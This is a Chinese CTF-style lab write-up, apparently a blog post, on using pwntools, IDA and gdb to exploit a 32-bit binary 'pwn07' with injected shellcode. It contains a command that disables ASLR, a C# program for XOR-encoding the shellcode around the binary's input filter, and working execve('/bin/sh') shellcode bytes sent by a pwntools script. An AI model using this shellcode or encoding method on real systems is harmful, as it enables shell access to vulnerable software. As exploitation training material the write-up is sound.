pwntools应用实例

概述

本篇文章详细讲述了如何使用pwntools对程序进行栈溢出攻击。文中还用到了gcc/gdb,nasm,vscode,ida等等工具。

实验环境及配置

  • 物理机
    • CPU:AMD Ryzen 5 3600
    • RAM:DDR4 16GB@3200Hz
    • OS:Windows 11 Pro, 64-bit (Build 22621.1635) 10.0.22621
    • GPU:Intel Arc A750
    • Vmware:VMware Workstation 17 Pro 17.0.1 build-21139696
  • 虚拟机
    • CPU:1CPU*6Core
    • RAM:8GB
    • OS:Ubuntu 22.04LTS 64bit (Linux Kernel 5.19.0-41-generic)

目标文件名为pwn07,其md5为76aa13266537c1d351e8a63ce48cd0da
由于Ubuntu版本较新。需要先关闭地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space # 需要root权限

在这里插入图片描述
0表示地址随机化已经关闭。

文件分析

首先试着执行pwn07
在这里插入图片描述
随便输入一些数据,例如12345678。发现提示段错误。
在这里插入图片描述
使用dmesg命令(sudo dmesg)查看错误信息。
在这里插入图片描述
lddchecksec命令的执行结果分别如下。此程序为32位程序。并且我们推断,程序没有显式导入任何外部函数。此外,程序没有开启PIE和栈保护相关功能。
在这里插入图片描述
首先安装IDA。若安装后双击没反应则可能是缺少包。在终端中运行IDA查看详细报错,然后安装丢失的包即可。(似乎是libxcb-xinerama0记不清了)

IDA Free下载地址

使用IDA打开pwn07(使用默认选项即可),忽略弹出警告或提示(例如,gnulux_x86找不到之类的)。
在其中找到字符串“Input your shellcode, Please\n.”,而后找到改字符串被引用的位置。
在这里插入图片描述
使用字符串“Input your shellcode, Please\n.”的函数的起始地址为0x080489A1.在将字符串的地址压栈后,其调用了sub_806DC70函数。显然,sub_806DC70函数实现的是printf相关的功能。
使用gdb工具调试pwn07并在0x080489DB处下断点(break *0x080489DB)。(忽略gdb提示找不到符号表,这在我们的预料之中)命中断点后输入ni,程序要求给出输入,由此我们可以推断sub_806DC70函数实现了类似于scanf相关功能。还应该注意到lea eax, [ebp+var_10C]指令,这意味着scanf将输入存储到ebp+var_10C地址处。即,我们的shellcode就是从ebp+var_10C开始的。
那么,程序数如何实现这些功能的呢,我猜想它是使用了int 0x80指令来执行系统调用。32位系统中的int 0x80的汇编指令是0xcd 0x80。使用IDA的搜索功能,结果如下:
在这里插入图片描述
在这里插入图片描述
果然,第二个结果表明程序确实使用了int 0x80系统调用。这就表明,在编写shellcode时不能直接调用libc库。
在这里插入图片描述
call sub_80488F4指令意义不明,但是通过push eax我们知道它将shellcode的起始地址作为实参。
call eax代表程序开始执行shellcode的内容,由于没有NX(不可执行),该指令是合法的。
综上我们利用IDA的调试功能在0x080489E6处下断点改写栈的内容。

shellcode的构造

访问这个文档可以查看int80调用的约定。

SECTION .data

SECTION .text
global  _start
_start:
mov eax, 1
mov ebx, 0
int 80h

我们先编写一个调用sys_exit的汇编,使用以下命令生成32位的ELF文件:

nasm -f elf32 <filename> # 编译
ld -m elf_i386 <filename> -o <filename> # 链接

执行这个文件程序就会立即退出。在这里插入图片描述
使用objdump命令查看其机器码。
在这里插入图片描述
0x080489EC出下断点,使用IDA更改寄存器eax所指向的栈的内容,将栈的内容修改为上图的机器码。而后在0x08048A01出下断点,继续执行到该断点,发现栈的内容被改变(忽略SYMALERM信号,选discard就行)。可以推断,这与0x080489ED地址处的call sub_80488F4指令有关。
仔细研究call sub_80488F4函数。v2是一个循环变量,根据经验判断这个变量表明了栈中需要修改的字节数。而转换的法则就是:如果该字节小于等于0x80就异或0x11否则异或0x22
在这里插入图片描述
此外还有两个循环退出条件,我们反编译sub_80488CE函数。
在这里插入图片描述
可以看到当转换前或转换后的内容包含0x00或者0x0A时,转换程序就会提前退出。
在这里插入图片描述
上述机器指令会调用execve函数,参数为/bin/sh。很显然这段代码无法直接执行,因为其包含0x00刚才说过,如果转换后的代码包含0x00转换会提前终止。
因此我们需要使用shellcode来为这个shellcode加密,而且用来加密的shellcode不能包含0x00或者0x0A。如下图所示:
在这里插入图片描述
在地址计算正确的情况下这段代码将原先shellcode的每条指令都异或了0x01
综上我们用到了两次加密,一次是为了应对“代码中不能出现0x00或者0x0A”这个条件,一次是为了处理“字节小于等于0x80就异或0x11否则异或0x22“这个条件。由于该计算比较复杂,我们编写一段C#代码来进行计算。

namespace PWN07
{
    internal class Program
    {
        private const byte mask = 0x12;
        private static byte[] decodercode = new byte[] { 0x66, 0x31, 0xc9, 0xb1, 0x1E, 0x80, 0xb1, 0xf9, 0xcd, 0xff, 0xff, mask, 0xe2, 0xf7 };
        private static byte[] nativeshellcode = new byte[] { 
            0xb8, 0x0b, 0x00, 0x00, 0x00, 
            0xbb, 0x10, 0xce, 0xff, 0xff, 
            0xb9, 0x00, 0x00, 0x00, 0x00,
            0xba, 0x00, 0x00, 0x00, 0x00,
            0xcd, 0x80,
            0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
        };
        static void Main(string[] args)
        {
            List<byte> targetBytes = new(decodercode.Length + nativeshellcode.Length);
            targetBytes.AddRange(decodercode);
            foreach (byte b in nativeshellcode)
            {
                byte s = (byte)(b ^ mask);
                targetBytes.Add(s);
                Console.Write(s.ToString("x2") + ' ');
            }
            Console.WriteLine();

            foreach (byte targetByte in targetBytes)
            {
                for (byte answer = 0; answer < 255; ++answer)
                {
                    byte x = (byte)(answer <= 0x80 ? answer ^ 0x11 : answer ^ 0x22);
                    if (x == targetByte)
                    {
                        Console.Write(answer.ToString("x2"));
                        Console.Write(' ');
                    }
                }
                if ((0xff ^ 0x22) == targetByte)
                {
                    Console.Write(0xff.ToString("x2"));
                }
                Console.WriteLine();
            }
        }
    }
}

这样我们就可以生成shellcode了,但是注意,因为地址是写死的,我们要正确计算输入的shellcode在程序中的地址。此外还要正确设置上述代码的mask变量来保证符合输入条件。

shellcode注入

安装python和pwntools。

from pwn import *
context.log_level='debug'ls
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p:process = process("./pwn07")
p.recvuntil(b'.')
gdb.attach(p, "break *0x080489ED") # FFFF CDF9
p.interactive()

使用以上代码计算寄存器ax的值,即shellcode载入的位置。
在这里插入图片描述
地址为0xffffcdfc。因此最终shellcode为。
77 20 eb 93 0f a2 93 18 ec dd dd 03 c0 d5 88 08 03 03 03 8b 23 fe cf cf 89 03 03 03 03 8a 03 03 03 03 fd b0 2c 61 6a 6d 2c 70 6b 03
在debug窗口显示程序切换成功。
在这里插入图片描述
最终python代码如下:

from pwn import *
# context.log_level='debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p:process = process("./pwn07")
p.recvuntil(b'.')
p.sendline(b"\x77\x20\xeb\x93\x0f\xa2\x93\x18\xec\xdd\xdd\x03\xc0\xd5\x88\x08\x03\x03\x03\x8b\x23\xfe\xcf\xcf\x89\x03\x03\x03\x03\x8a\x03\x03\x03\x03\xfd\xb0\x2c\x61\x6a\x6d\x2c\x70\x6b\x03")
p.interactive()

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值